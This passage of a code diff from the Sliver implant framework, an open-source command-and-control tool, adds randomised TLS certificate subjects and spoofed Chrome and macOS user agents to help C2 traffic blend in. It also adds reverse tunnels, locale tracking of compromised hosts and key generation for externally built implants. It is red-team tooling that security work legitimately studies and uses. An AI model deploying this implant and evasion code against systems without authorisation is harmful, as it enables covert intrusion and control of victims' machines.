||||
"Moncton": {""},
|
||||
"Saint John": {""},
|
||||
"Dieppe": {""},
|
||||
},
|
||||
"Newfoundland and Labrador": {
|
||||
"St. John's": {""},
|
||||
"Mount Pearl": {
|
||||
"",
|
||||
"College",
|
||||
},
|
||||
"Conception Bay South": {""},
|
||||
"Paradise": {
|
||||
"",
|
||||
"College",
|
||||
},
|
||||
},
|
||||
},
|
||||
"California": {
|
||||
"San Francisco": {"", "Golden Gate Bridge"},
|
||||
"Oakland": {""},
|
||||
"Berkeley": {""},
|
||||
"Palo Alto": {""},
|
||||
"Los Angeles": {""},
|
||||
"San Diego": {""},
|
||||
"San Jose": {""},
|
||||
},
|
||||
"Colorado": {
|
||||
"Denver": {""},
|
||||
"Boulder": {""},
|
||||
"Aurora": {""},
|
||||
"Fort Collins": {""},
|
||||
},
|
||||
"Connecticut": {
|
||||
"New Haven": {""},
|
||||
"Bridgeport": {""},
|
||||
"Stamford": {""},
|
||||
"Norwalk": {""},
|
||||
},
|
||||
"Washington": {
|
||||
"Seattle": {""},
|
||||
"Tacoma": {""},
|
||||
"Olympia": {""},
|
||||
"Spokane": {""},
|
||||
},
|
||||
"Florida": {
|
||||
"Miami": {""},
|
||||
"Orlando": {""},
|
||||
"Tampa": {""},
|
||||
"Jacksonville": {""},
|
||||
},
|
||||
"Illinois": {
|
||||
"Chicago": {""},
|
||||
"Aurora": {""},
|
||||
"Naperville": {""},
|
||||
"Peoria": {""},
|
||||
"JP": {
|
||||
"": {
|
||||
"": {
|
||||
"",
|
||||
},
|
||||
},
|
||||
"Aichi": {
|
||||
"Nagoya": {""},
|
||||
"Kasugai": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
"Okazaki": {""},
|
||||
"Handa": {""},
|
||||
},
|
||||
"Chiba": {
|
||||
"Chiba": {""},
|
||||
"Kashiwa": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
"Funabashi": {""},
|
||||
"Kimitsu": {""},
|
||||
},
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
func randomSubject(commonName string) *pkix.Name {
|
||||
province, locale, street := randomProvinceLocalityStreetAddress()
|
||||
country, province, locale, street := randomProvinceLocalityStreetAddress()
|
||||
return &pkix.Name{
|
||||
Organization: randomOrganization(),
|
||||
Country: []string{"US"},
|
||||
Country: country,
|
||||
Province: province,
|
||||
Locality: locale,
|
||||
StreetAddress: street,
|
||||
PostalCode: randomPostalCode(),
|
||||
PostalCode: randomPostalCode(country),
|
||||
CommonName: commonName,
|
||||
}
|
||||
}
|
||||
|
||||
func randomPostalCode() []string {
|
||||
switch insecureRand.Intn(1) {
|
||||
case 0:
|
||||
return []string{fmt.Sprintf("%d", insecureRand.Intn(8000)+1000)}
|
||||
default:
|
||||
func randomPostalCode(country []string) []string {
|
||||
// 1 in `n` will include a postal code
|
||||
// From my cursory view of a few TLS certs it seems uncommon to include this
|
||||
// in the distinguished name so right now it's set to 1/5
|
||||
const postalProbability = 5
|
||||
|
||||
if len(country) == 0 {
|
||||
return []string{}
|
||||
}
|
||||
switch country[0] {
|
||||
|
||||
case "US":
|
||||
// American postal codes are 5 digits
|
||||
switch insecureRand.Intn(postalProbability) {
|
||||
case 0:
|
||||
return []string{fmt.Sprintf("%05d", insecureRand.Intn(90000)+1000)}
|
||||
default:
|
||||
return []string{}
|
||||
}
|
||||
|
||||
case "CA":
|
||||
// Canadian postal codes are weird and include letter/number combo's
|
||||
letters := "ABHLMNKGJPRSTVYX"
|
||||
switch insecureRand.Intn(postalProbability) {
|
||||
case 0:
|
||||
letter1 := string(letters[insecureRand.Intn(len(letters))])
|
||||
letter2 := string(letters[insecureRand.Intn(len(letters))])
|
||||
if insecureRand.Intn(2) == 0 {
|
||||
letter1 = strings.ToLower(letter1)
|
||||
letter2 = strings.ToLower(letter2)
|
||||
}
|
||||
return []string{
|
||||
fmt.Sprintf("%s%d%s", letter1, insecureRand.Intn(9), letter2),
|
||||
}
|
||||
default:
|
||||
return []string{}
|
||||
}
|
||||
}
|
||||
return []string{}
|
||||
}
|
||||
|
||||
func randomProvinceLocalityStreetAddress() ([]string, []string, []string) {
|
||||
state := randomState()
|
||||
locality := randomLocality(state)
|
||||
streetAddress := randomStreetAddress(state, locality)
|
||||
return []string{state}, []string{locality}, []string{streetAddress}
|
||||
func randomProvinceLocalityStreetAddress() ([]string, []string, []string, []string) {
|
||||
country := randomCountry()
|
||||
state := randomState(country)
|
||||
locality := randomLocality(country, state)
|
||||
streetAddress := randomStreetAddress(country, state, locality)
|
||||
return []string{country}, []string{state}, []string{locality}, []string{streetAddress}
|
||||
}
|
||||
|
||||
func randomState() string {
|
||||
keys := make([]string, 0, len(states))
|
||||
for k := range states {
|
||||
func randomCountry() string {
|
||||
keys := make([]string, 0, len(subjects))
|
||||
for k := range subjects {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
return keys[insecureRand.Intn(len(keys))]
|
||||
}
|
||||
|
||||
func randomLocality(state string) string {
|
||||
locales := states[state]
|
||||
func randomState(country string) string {
|
||||
keys := make([]string, 0, len(subjects[country]))
|
||||
for k := range subjects[country] {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
return keys[insecureRand.Intn(len(keys))]
|
||||
}
|
||||
|
||||
func randomLocality(country string, state string) string {
|
||||
locales := subjects[country][state]
|
||||
keys := make([]string, 0, len(locales))
|
||||
for k := range locales {
|
||||
keys = append(keys, k)
|
||||
@@ -125,44 +343,65 @@ func randomLocality(state string) string {
|
||||
return keys[insecureRand.Intn(len(keys))]
|
||||
}
|
||||
|
||||
func randomStreetAddress(state string, locality string) string {
|
||||
addresses := states[state][locality]
|
||||
func randomStreetAddress(country string, state string, locality string) string {
|
||||
addresses := subjects[country][state][locality]
|
||||
return addresses[insecureRand.Intn(len(addresses))]
|
||||
}
|
||||
|
||||
var (
|
||||
orgNames = []string{
|
||||
"",
|
||||
"ACME",
|
||||
"Partners",
|
||||
"Tech",
|
||||
"Cloud",
|
||||
"Synergy",
|
||||
"Test",
|
||||
"Debug",
|
||||
}
|
||||
orgSuffixes = []string{
|
||||
"",
|
||||
"",
|
||||
"co",
|
||||
"llc",
|
||||
"inc",
|
||||
"corp",
|
||||
"ltd",
|
||||
"plc",
|
||||
"inc.",
|
||||
"corp.",
|
||||
"ltd.",
|
||||
"plc.",
|
||||
"co.",
|
||||
"llc.",
|
||||
"incorporated",
|
||||
"limited",
|
||||
"corporation",
|
||||
"company",
|
||||
"incorporated",
|
||||
"limited",
|
||||
"corporation",
|
||||
"company",
|
||||
}
|
||||
)
|
||||
|
||||
func randomOrganization() []string {
|
||||
name := orgNames[insecureRand.Intn(len(orgNames))]
|
||||
adjective, _ := codenames.RandomAdjective()
|
||||
noun, _ := codenames.RandomNoun()
|
||||
suffix := orgSuffixes[insecureRand.Intn(len(orgSuffixes))]
|
||||
switch insecureRand.Intn(4) {
|
||||
case 0:
|
||||
return []string{strings.TrimSpace(strings.ToLower(name + " " + suffix))}
|
||||
case 1:
|
||||
return []string{strings.TrimSpace(strings.ToUpper(name + " " + suffix))}
|
||||
case 2:
|
||||
return []string{strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", name, suffix)))}
|
||||
|
||||
var orgName string
|
||||
switch insecureRand.Intn(8) {
|
||||
case 0:
|
||||
orgName = strings.TrimSpace(fmt.Sprintf("%s %s, %s", adjective, noun, suffix))
|
||||
case 1:
|
||||
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s %s, %s", adjective, noun, suffix)))
|
||||
case 2:
|
||||
orgName = strings.TrimSpace(fmt.Sprintf("%s, %s", noun, suffix))
|
||||
case 3:
|
||||
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s, %s", adjective, noun, suffix)))
|
||||
case 4:
|
||||
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", adjective, noun)))
|
||||
case 5:
|
||||
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s %s", adjective, noun)))
|
||||
case 6:
|
||||
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s", noun)))
|
||||
case 7:
|
||||
noun2, _ := codenames.RandomNoun()
|
||||
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s-%s", noun, noun2)))
|
||||
default:
|
||||
return []string{}
|
||||
orgName = ""
|
||||
}
|
||||
|
||||
return []string{orgName}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
package certs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
var (
|
||||
// TLSKeyLogger - File descriptor for logging TLS keys
|
||||
TLSKeyLogger = newKeyLogger()
|
||||
)
|
||||
|
||||
func newKeyLogger() *os.File {
|
||||
keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
|
||||
if present {
|
||||
keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
|
||||
if err != nil {
|
||||
certsLog.Errorf(fmt.Sprintf("Failed to open TLS key file %v", err))
|
||||
return nil
|
||||
}
|
||||
fmt.Printf("NOTICE: TLS Keys logged to '%s'\n", keyFilePath)
|
||||
return keyFile
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package generate
|
||||
package codenames
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
@@ -23,7 +23,7 @@ import (
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
@@ -39,11 +39,11 @@ var (
|
||||
})
|
||||
)
|
||||
|
||||
// readlines - Read lines of a text file into a slice
|
||||
func readlines(fpath string) ([]string, error) {
|
||||
file, err := os.Open(fpath)
|
||||
// readLines - Read lines of a text file into a slice
|
||||
func readLines(txtFilePath string) ([]string, error) {
|
||||
file, err := os.Open(txtFilePath)
|
||||
if err != nil {
|
||||
codenameLog.Errorf("Error opening %s: %v", fpath, err)
|
||||
codenameLog.Errorf("Error opening %s: %v", txtFilePath, err)
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
@@ -63,37 +63,37 @@ func readlines(fpath string) ([]string, error) {
|
||||
}
|
||||
|
||||
// getRandomWord - Get a random word from a file, not cryptographically secure
|
||||
func getRandomWord(fpath string) (string, error) {
|
||||
func getRandomWord(txtFilePath string) (string, error) {
|
||||
appDir := assets.GetRootAppDir()
|
||||
words, err := readlines(path.Join(appDir, fpath))
|
||||
words, err := readLines(filepath.Join(appDir, txtFilePath))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
wordsLen := len(words)
|
||||
if wordsLen == 0 {
|
||||
return "", fmt.Errorf("no words found in %s", fpath)
|
||||
return "", fmt.Errorf("no words found in %s", txtFilePath)
|
||||
}
|
||||
word := words[insecureRand.Intn(wordsLen-1)]
|
||||
return strings.TrimSpace(word), nil
|
||||
}
|
||||
|
||||
// getRandomAdjective - Get a random noun, not cryptographically secure
|
||||
func getRandomAdjective() (string, error) {
|
||||
// RandomAdjective - Get a random noun, not cryptographically secure
|
||||
func RandomAdjective() (string, error) {
|
||||
return getRandomWord("adjectives.txt")
|
||||
}
|
||||
|
||||
// getRandomNoun - Get a random noun, not cryptographically secure
|
||||
func getRandomNoun() (string, error) {
|
||||
// RandomNoun - Get a random noun, not cryptographically secure
|
||||
func RandomNoun() (string, error) {
|
||||
return getRandomWord("nouns.txt")
|
||||
}
|
||||
|
||||
// GetCodename - Returns a randomly generated 'codename'
|
||||
func GetCodename() (string, error) {
|
||||
adjective, err := getRandomAdjective()
|
||||
adjective, err := RandomAdjective()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
noun, err := getRandomNoun()
|
||||
noun, err := RandomNoun()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -35,7 +35,8 @@ import (
|
||||
|
||||
const (
|
||||
httpC2ConfigFileName = "http-c2.json"
|
||||
chromeBaseVer = 97
|
||||
DefaultChromeBaseVer = 100
|
||||
DefaultMacOSVer = "10_15_7"
|
||||
)
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
@@ -69,7 +70,7 @@ func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) strin
|
||||
case "arm64":
|
||||
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.MacOSVer(), h.ChromeVer())
|
||||
}
|
||||
|
||||
}
|
||||
@@ -83,7 +84,19 @@ func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) strin
|
||||
|
||||
// ChromeVer - Generate a random Chrome user-agent
|
||||
func (h *HTTPC2Config) ChromeVer() string {
|
||||
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
|
||||
chromeVer := h.ImplantConfig.ChromeBaseVersion
|
||||
if chromeVer == 0 {
|
||||
chromeVer = DefaultChromeBaseVer
|
||||
}
|
||||
return fmt.Sprintf("%d.0.%d.%d", chromeVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
|
||||
}
|
||||
|
||||
func (h *HTTPC2Config) MacOSVer() string {
|
||||
macosVer := h.ImplantConfig.MacOSVersion
|
||||
if macosVer == "" {
|
||||
macosVer = DefaultMacOSVer
|
||||
}
|
||||
return macosVer
|
||||
}
|
||||
|
||||
// RandomImplantConfig - Randomly generate a config
|
||||
@@ -126,7 +139,9 @@ type NameValueProbability struct {
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
UserAgent string `json:"user_agent"`
|
||||
ChromeBaseVersion int `json:"chrome_base_version"`
|
||||
MacOSVersion string `json:"macos_version"`
|
||||
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
@@ -222,11 +237,13 @@ var (
|
||||
},
|
||||
},
|
||||
ImplantConfig: &HTTPC2ImplantConfig{
|
||||
UserAgent: "", // Blank string is rendered as randomized platform user-agent
|
||||
MaxFiles: 8,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 8,
|
||||
MinPaths: 2,
|
||||
UserAgent: "", // Blank string is rendered as randomized platform user-agent
|
||||
ChromeBaseVersion: DefaultChromeBaseVer,
|
||||
MacOSVersion: DefaultMacOSVer,
|
||||
MaxFiles: 8,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 8,
|
||||
MinPaths: 2,
|
||||
|
||||
StagerFileExt: ".woff",
|
||||
|
||||
|
||||
@@ -53,6 +53,7 @@ type LogConfig struct {
|
||||
Level int `json:"level"`
|
||||
GRPCUnaryPayloads bool `json:"grpc_unary_payloads"`
|
||||
GRPCStreamPayloads bool `json:"grpc_stream_payloads"`
|
||||
TLSKeyLogger bool `json:"tls_key_logger"`
|
||||
}
|
||||
|
||||
// DaemonConfig - Configure daemon mode
|
||||
|
||||
@@ -73,3 +73,10 @@ func generateImplantConnectionID() string {
|
||||
id, _ := uuid.NewV4()
|
||||
return id.String()
|
||||
}
|
||||
|
||||
func (c *ImplantConnection) RequestResend(data []byte) {
|
||||
c.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
@@ -66,6 +66,7 @@ func hostsSessionCallback(session *Session) {
|
||||
HostUUID: uuid.FromStringOrNil(session.UUID),
|
||||
Hostname: session.Hostname,
|
||||
OSVersion: session.OS,
|
||||
Locale: session.Locale,
|
||||
IOCs: []models.IOC{},
|
||||
ExtensionData: []models.ExtensionData{},
|
||||
}).Error
|
||||
|
||||
@@ -0,0 +1,114 @@
|
||||
package rtunnels
|
||||
|
||||
import (
|
||||
"io"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
Rtunnels map[uint64]*RTunnel = make(map[uint64]*RTunnel)
|
||||
mutex sync.RWMutex
|
||||
)
|
||||
|
||||
// RTunnel - Duplex byte read/write
|
||||
type RTunnel struct {
|
||||
ID uint64
|
||||
SessionID string
|
||||
// Reader io.ReadCloser
|
||||
Readers []io.ReadCloser
|
||||
readSequence uint64
|
||||
|
||||
Writer io.WriteCloser
|
||||
writeSequence uint64
|
||||
|
||||
mutex *sync.RWMutex
|
||||
}
|
||||
|
||||
func NewRTunnel(id uint64, sID string, writer io.WriteCloser, readers ...io.ReadCloser) *RTunnel {
|
||||
return &RTunnel{
|
||||
ID: id,
|
||||
SessionID: sID,
|
||||
Readers: readers,
|
||||
Writer: writer,
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
}
|
||||
|
||||
func (c *RTunnel) ReadSequence() uint64 {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
return c.readSequence
|
||||
}
|
||||
|
||||
func (c *RTunnel) WriteSequence() uint64 {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
return c.writeSequence
|
||||
}
|
||||
|
||||
func (c *RTunnel) IncReadSequence() {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
c.readSequence += 1
|
||||
}
|
||||
|
||||
func (c *RTunnel) IncWriteSequence() {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
c.writeSequence += 1
|
||||
}
|
||||
|
||||
// Close - close RTunnel reader and writer
|
||||
func (c *RTunnel) Close() {
|
||||
for _, rc := range c.Readers {
|
||||
if rc != nil {
|
||||
rc.Close()
|
||||
}
|
||||
}
|
||||
c.Writer.Close()
|
||||
}
|
||||
|
||||
// Tunnel - Add tunnel to mapping
|
||||
func GetRTunnel(ID uint64) *RTunnel {
|
||||
mutex.RLock()
|
||||
defer mutex.RUnlock()
|
||||
return Rtunnels[ID]
|
||||
}
|
||||
|
||||
// AddTunnel - Add tunnel to mapping
|
||||
func AddRTunnel(tun *RTunnel) {
|
||||
mutex.Lock()
|
||||
defer mutex.Unlock()
|
||||
|
||||
Rtunnels[tun.ID] = tun
|
||||
}
|
||||
|
||||
// RemoveTunnel - Add tunnel to mapping
|
||||
func RemoveRTunnel(ID uint64) {
|
||||
mutex.Lock()
|
||||
defer mutex.Unlock()
|
||||
|
||||
delete(Rtunnels, ID)
|
||||
}
|
||||
|
||||
// func removeAndCloseAllRTunnels() {
|
||||
// mutex.Lock()
|
||||
// defer mutex.Unlock()
|
||||
|
||||
// for id, tunnel := range Rtunnels {
|
||||
// tunnel.Close()
|
||||
|
||||
// delete(Rtunnels, id)
|
||||
// }
|
||||
// }
|
||||
|
||||
// func (c *Connection) RequestResendR(data []byte) {
|
||||
// c.Send <- &pb.Envelope{
|
||||
// Type: pb.MsgTunnelData,
|
||||
// Data: data,
|
||||
// }
|
||||
// }
|
||||
@@ -72,6 +72,7 @@ type Session struct {
|
||||
Extensions []string
|
||||
ConfigID string
|
||||
PeerID int64
|
||||
Locale string
|
||||
}
|
||||
|
||||
// LastCheckin - Get the last time a session message was received
|
||||
@@ -136,6 +137,7 @@ func (s *Session) ToProtobuf() *clientpb.Session {
|
||||
ProxyURL: s.ProxyURL,
|
||||
Burned: s.Burned,
|
||||
PeerID: s.PeerID,
|
||||
Locale: s.Locale,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -26,7 +26,7 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
// TunSocksTunnels - Interating with duplex SocksTunnels
|
||||
// TunSocksTunnels - Interacting with duplex SocksTunnels
|
||||
SocksTunnels = tcpTunnel{
|
||||
tunnels: map[uint64]*TcpTunnel{},
|
||||
mutex: &sync.Mutex{},
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
// Tunnels - Interating with duplex tunnels
|
||||
// Tunnels - Interacting with duplex tunnels
|
||||
Tunnels = tunnels{
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.Mutex{},
|
||||
@@ -125,10 +125,10 @@ func (t *tunnels) Create(sessionID string) *Tunnel {
|
||||
// will close it once there is no data for at least delayBeforeClose delay since last message
|
||||
// This is _necessary_ since we processing messages asynchronously
|
||||
// and if tunnelCloseHandler routine will fire before tunnelDataHandler routine we will lose some data
|
||||
// (this is what happends for socks and portfwd)
|
||||
// (this is what happens for socks and portfwd)
|
||||
// There is no another way around it, if we want to stick to async processing as we do now.
|
||||
// All additional changes requires changes on implants(like sequencing for close messages),
|
||||
// and as there is a goal to keep compatability we don't do that at the moment.
|
||||
// and as there is a goal to keep compatibility we don't do that at the moment.
|
||||
// So there is trade off - more stability or more speed. Or rewriting implant logic.
|
||||
// At the moment, i see it affects only `shell` command and locking it for 10 seconds on exit. Not a big deal.
|
||||
func (t *tunnels) ScheduleClose(tunnelID uint64) {
|
||||
@@ -153,7 +153,7 @@ func (t *tunnels) ScheduleClose(tunnelID uint64) {
|
||||
}
|
||||
|
||||
// Close - closing tunnel
|
||||
// It's prefered to use ScheduleClose function if you don't 100% sure there is no more data to receive
|
||||
// It's preferred to use ScheduleClose function if you don't 100% sure there is no more data to receive
|
||||
func (t *tunnels) Close(tunnelID uint64) error {
|
||||
t.mutex.Lock()
|
||||
defer t.mutex.Unlock()
|
||||
|
||||
@@ -100,7 +100,6 @@ func ImplantBuildByName(name string) (*models.ImplantBuild, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &build, err
|
||||
}
|
||||
|
||||
|
||||
@@ -52,6 +52,7 @@ type Beacon struct {
|
||||
ReconnectInterval int64
|
||||
ActiveC2 string
|
||||
ProxyURL string
|
||||
Locale string
|
||||
|
||||
ImplantBuildID uuid.UUID `gorm:"type:uuid;"`
|
||||
|
||||
@@ -91,6 +92,7 @@ func (b *Beacon) ToProtobuf() *clientpb.Beacon {
|
||||
Interval: b.Interval,
|
||||
Jitter: b.Jitter,
|
||||
NextCheckin: b.NextCheckin,
|
||||
Locale: b.Locale,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -34,6 +34,7 @@ type Host struct {
|
||||
|
||||
Hostname string
|
||||
OSVersion string // Verbore OS version
|
||||
Locale string // Detected language code
|
||||
|
||||
IOCs []IOC
|
||||
ExtensionData []ExtensionData
|
||||
@@ -54,6 +55,7 @@ func (h *Host) ToProtobuf() *clientpb.Host {
|
||||
HostUUID: h.HostUUID.String(),
|
||||
Hostname: h.Hostname,
|
||||
OSVersion: h.OSVersion,
|
||||
Locale: h.Locale,
|
||||
IOCs: h.iocsToProtobuf(),
|
||||
ExtensionData: h.extensionDataToProtobuf(),
|
||||
}
|
||||
|
||||
@@ -279,7 +279,7 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
|
||||
return "", err
|
||||
}
|
||||
|
||||
dest := path.Join(goConfig.ProjectDir, "bin", path.Base(name))
|
||||
dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
|
||||
dest += ".bin"
|
||||
|
||||
tags := []string{} // []string{"netgo"}
|
||||
@@ -420,7 +420,7 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
|
||||
return "", err
|
||||
}
|
||||
|
||||
dest := path.Join(goConfig.ProjectDir, "bin", path.Base(name))
|
||||
dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
|
||||
if goConfig.GOOS == WINDOWS {
|
||||
dest += ".exe"
|
||||
}
|
||||
@@ -470,7 +470,7 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
config.TCPPivotc2Enabled = isC2Enabled([]string{"tcppivot"}, config.C2)
|
||||
|
||||
sliversDir := GetSliversDir() // ~/.sliver/slivers
|
||||
projectGoPathDir := path.Join(sliversDir, config.GOOS, config.GOARCH, path.Base(name))
|
||||
projectGoPathDir := filepath.Join(sliversDir, config.GOOS, config.GOARCH, filepath.Base(name))
|
||||
if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(projectGoPathDir, 0700)
|
||||
}
|
||||
@@ -619,7 +619,9 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
}
|
||||
|
||||
// Render canaries
|
||||
buildLog.Debugf("Canary domain(s): %v", config.CanaryDomains)
|
||||
if len(config.CanaryDomains) > 0 {
|
||||
buildLog.Debugf("Canary domain(s): %v", config.CanaryDomains)
|
||||
}
|
||||
canaryTmpl := template.New("canary").Delims("[[", "]]")
|
||||
canaryGenerator := &CanaryGenerator{
|
||||
ImplantName: name,
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
)
|
||||
|
||||
// SliverExternal - Generates the cryptographic keys for the implant but compiles no code
|
||||
func SliverExternal(name string, config *models.ImplantConfig) (*clientpb.ExternalImplantConfig, error) {
|
||||
if config.Format != clientpb.OutputFormat_EXTERNAL {
|
||||
return nil, fmt.Errorf("invalid format: %s", config.Format)
|
||||
}
|
||||
config.MTLSc2Enabled = isC2Enabled([]string{"mtls"}, config.C2)
|
||||
config.WGc2Enabled = isC2Enabled([]string{"wg"}, config.C2)
|
||||
config.HTTPc2Enabled = isC2Enabled([]string{"http", "https"}, config.C2)
|
||||
config.DNSc2Enabled = isC2Enabled([]string{"dns"}, config.C2)
|
||||
config.NamePipec2Enabled = isC2Enabled([]string{"namedpipe"}, config.C2)
|
||||
config.TCPPivotc2Enabled = isC2Enabled([]string{"tcppivot"}, config.C2)
|
||||
|
||||
// Cert PEM encoded certificates
|
||||
serverCACert, _, _ := certs.GetCertificateAuthorityPEM(certs.MtlsServerCA)
|
||||
sliverCert, sliverKey, err := certs.MtlsC2ImplantGenerateECCCertificate(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// ECC keys
|
||||
implantKeyPair, err := cryptography.RandomECCKeyPair()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
serverKeyPair := cryptography.ECCServerKeyPair()
|
||||
digest := sha256.Sum256((*implantKeyPair.Public)[:])
|
||||
config.ECCPublicKey = implantKeyPair.PublicBase64()
|
||||
config.ECCPublicKeyDigest = hex.EncodeToString(digest[:])
|
||||
config.ECCPrivateKey = implantKeyPair.PrivateBase64()
|
||||
config.ECCPublicKeySignature = cryptography.MinisignServerSign(implantKeyPair.Public[:])
|
||||
config.ECCServerPublicKey = serverKeyPair.PublicBase64()
|
||||
config.MinisignServerPublicKey = cryptography.MinisignServerPublicKey()
|
||||
|
||||
// MTLS keys
|
||||
if config.MTLSc2Enabled {
|
||||
config.MtlsCACert = string(serverCACert)
|
||||
config.MtlsCert = string(sliverCert)
|
||||
config.MtlsKey = string(sliverKey)
|
||||
}
|
||||
|
||||
otpSecret, err := cryptography.TOTPServerSecret()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Generate wg Keys as needed
|
||||
if config.WGc2Enabled {
|
||||
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_, serverPubKey, err := certs.GetWGServerKeys()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to embed implant wg keys: %s", err)
|
||||
}
|
||||
config.WGImplantPrivKey = implantPrivKey
|
||||
config.WGServerPubKey = serverPubKey
|
||||
}
|
||||
err = ImplantConfigSave(config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &clientpb.ExternalImplantConfig{
|
||||
Name: name,
|
||||
Config: config.ToProtobuf(),
|
||||
